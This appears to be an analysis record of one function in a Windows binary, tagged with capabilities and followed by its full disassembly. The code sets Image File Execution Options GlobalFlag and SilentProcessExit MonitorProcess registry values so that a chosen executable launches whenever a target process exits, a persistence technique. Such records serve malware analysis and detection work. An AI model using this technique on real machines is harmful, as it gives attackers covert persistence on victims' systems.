Function at 0x140001980
Capabilities:
Persist via silentprocessexit registry key
Set registry value
Terminate process

Disassembly:
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rcx, qword [0x140007708]
lea r8, [rsp + 0x60]
mov rdx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
je 0x1400019c1
mov edx, eax
lea rcx, str.____RegConnectRegistryW:__d_n
call fcn.140001010
lea rcx, str.___Connecting_to_Image_File_Execution_Options_registry_hive_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x58]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
mov r8d, 0xc
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001a10
mov edx, eax
lea rcx, str.____RegOpenKeyExA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [0x140007720]
lea rcx, str.___Creating_ifeo_process_key__s_n
mov qword [rsp + 0x80], rbx
call fcn.140001010
mov rdx, qword [0x140007720]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
xor ebx, ebx
mov qword [rsp + 0x40], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
mov dword [rsp + 0x68], ebx
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x50], rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001a92
mov edx, eax
lea rcx, str.____Process_Key:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Setting_GlobalFlag_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x6c]
mov dword [rsp + 0x28], 4
lea r8, str.GlobalFlag
mov r9d, 4
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rsp + 0x6c], 0x200
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x140001aed
mov edx, eax
lea rcx, str.____GlobalFlag:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Connecting_to_SilentProcessExit_registry_hive_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x58]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
mov r8d, 0xc
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSilentProcessExit_
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001b3c
mov edx, eax
lea rcx, str.____RegOpenKeyExA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [0x140007720]
lea rcx, str.___Creating_ifeo_process_key__s_n
call fcn.140001010
mov rdx, qword [0x140007720]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 4
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001bab
mov edx, eax
lea rcx, str.____Process_Key:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Setting_ReportingMode_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
lea r8, str.ReportingMode
mov r9d, 4
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rsp + 0x70], 1
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x140001c06
mov edx, eax
lea rcx, str.____ReportingMode:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Setting_MonitorProcess_n
call fcn.140001010
mov rcx, qword [0x140007710]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x140001c20
mov dword [rsp + 0x28], eax
lea r8, str.MonitorProcess
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x140001c66
mov edx, eax
lea rcx, str.____MonitorProcess:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str._nThe_executable_will_be_run_when_the_specified_process_is_exited._n
call fcn.140001010
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400021a0
add rsp, 0x88
ret